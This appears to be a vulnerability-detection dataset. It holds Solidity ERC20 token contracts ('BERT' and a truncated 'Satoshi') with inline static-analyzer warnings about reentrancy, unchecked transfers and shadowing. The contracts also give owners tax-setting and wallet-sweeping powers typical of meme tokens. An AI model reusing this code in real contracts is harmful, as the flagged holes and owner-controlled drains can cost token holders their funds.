"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BERT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d98e77e): BERT._taxWallet should be immutable \n\t// Recommendation for d98e77e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 0;\n\n uint256 private _initialSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8b96e2): BERT._finalBuyTax should be constant \n\t// Recommendation for e8b96e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fd0305): BERT._finalSellTax should be constant \n\t// Recommendation for 3fd0305: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 0;\n\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bert\";\n\n string private constant _symbol = unicode\"BERT\";\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7918fd6): BERT._taxSwapThreshold should be constant \n\t// Recommendation for 7918fd6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 583eabe): BERT._maxTaxSwap should be constant \n\t// Recommendation for 583eabe: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac7c3a7): BERT.caBlockLimit should be constant \n\t// Recommendation for ac7c3a7: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b686ff): BERT.caLimit should be constant \n\t// Recommendation for 2b686ff: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x2432551f7Fb832d7992336fE76bF52763bB99127);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 850056e): BERT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 850056e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 75cc66a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 75cc66a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 163b136): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 163b136: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 75cc66a\n\t\t// reentrancy-benign | ID: 163b136\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 75cc66a\n\t\t// reentrancy-benign | ID: 163b136\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: aa7e5bb): BERT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for aa7e5bb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 163b136\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 75cc66a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f4679a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f4679a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ef5d1c9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ef5d1c9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ee230d9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ee230d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 4f4679a\n\t\t\t\t// reentrancy-eth | ID: ef5d1c9\n\t\t\t\t// reentrancy-eth | ID: ee230d9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4f4679a\n\t\t\t\t\t// reentrancy-eth | ID: ef5d1c9\n\t\t\t\t\t// reentrancy-eth | ID: ee230d9\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ee230d9\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ee230d9\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 4f4679a\n\t\t\t\t// reentrancy-eth | ID: ef5d1c9\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 4f4679a\n\t\t\t\t\t// reentrancy-eth | ID: ef5d1c9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ef5d1c9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 4f4679a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ef5d1c9\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ef5d1c9\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 4f4679a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 75cc66a\n\t\t// reentrancy-events | ID: 4f4679a\n\t\t// reentrancy-benign | ID: 163b136\n\t\t// reentrancy-eth | ID: ef5d1c9\n\t\t// reentrancy-eth | ID: ee230d9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5667e00): Missing events for critical arithmetic parameters.\n\t// Recommendation for 5667e00: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 5667e00\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 5667e00\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 5667e00\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 5667e00\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 5667e00\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8d0a44a): BERT.rescueStuckTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 8d0a44a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 8d0a44a\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 75cc66a\n\t\t// reentrancy-events | ID: 4f4679a\n\t\t// reentrancy-eth | ID: ef5d1c9\n\t\t// reentrancy-eth | ID: ee230d9\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5bac2bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5bac2bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 79413fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 79413fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 71e8820): BERT.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 71e8820: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a349f01): BERT.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a349f01: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ae8ce66): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ae8ce66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5bac2bf\n\t\t// reentrancy-benign | ID: 79413fe\n\t\t// reentrancy-eth | ID: ae8ce66\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 79413fe\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 79413fe\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 5bac2bf\n\t\t// unused-return | ID: a349f01\n\t\t// reentrancy-eth | ID: ae8ce66\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5bac2bf\n\t\t// unused-return | ID: 71e8820\n\t\t// reentrancy-eth | ID: ae8ce66\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5bac2bf\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: ae8ce66\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 5bac2bf\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10227.sol",
"size_bytes": 22053,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Satoshi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3fe9e0c): Satoshi._taxWallet should be immutable \n\t// Recommendation for 3fe9e0c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c94dc7a): Satoshi._initialBuyTax should be constant \n\t// Recommendation for c94dc7a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f947b9): Satoshi._initialSellTax should be constant \n\t// Recommendation for 1f947b9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 61d91b8): Satoshi._finalTransferTax should be constant \n\t// Recommendation for 61d91b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTransferTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fc40d0): Satoshi._reduceBuyTaxAt should be constant \n\t// Recommendation for 7fc40d0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 949f414): Satoshi._reduceSellTaxAt should be constant \n\t// Recommendation for 949f414: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 751ba2c): Satoshi._reduceTransferTaxAt should be constant \n\t// Recommendation for 751ba2c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceTransferTaxAt = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: cef66c0): Satoshi._preventSwapBefore should be constant \n\t// Recommendation for cef66c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _initialTransferTax = 22;\n\n uint256 private _buyCount = 0;\n\n uint256 private _transferCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Blockstream Friends\";\n\n string private constant _symbol = unicode\"SATOSHI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f614731): Satoshi._taxSwapThreshold should be constant \n\t// Recommendation for f614731: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6fba113): Satoshi._maxTaxSwap should be constant \n\t// Recommendation for 6fba113: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a63c3be): Satoshi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a63c3be: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f58275): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f58275: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c4216cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c4216cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4f58275\n\t\t// reentrancy-benign | ID: c4216cf\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4f58275\n\t\t// reentrancy-benign | ID: c4216cf\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ab09b64): Satoshi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ab09b64: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c4216cf\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4f58275\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 373aea0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 373aea0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3408a1a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3408a1a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount\n .mul(\n (_transferCount > _reduceTransferTaxAt)\n ? _finalTransferTax\n : _initialTransferTax\n )\n .div(100);\n\n _transferCount++;\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? 